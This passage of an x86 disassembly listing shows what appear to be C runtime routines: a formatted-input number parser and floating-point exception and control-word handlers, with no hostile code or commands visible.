[edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call near ptr 2650343h nop mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] 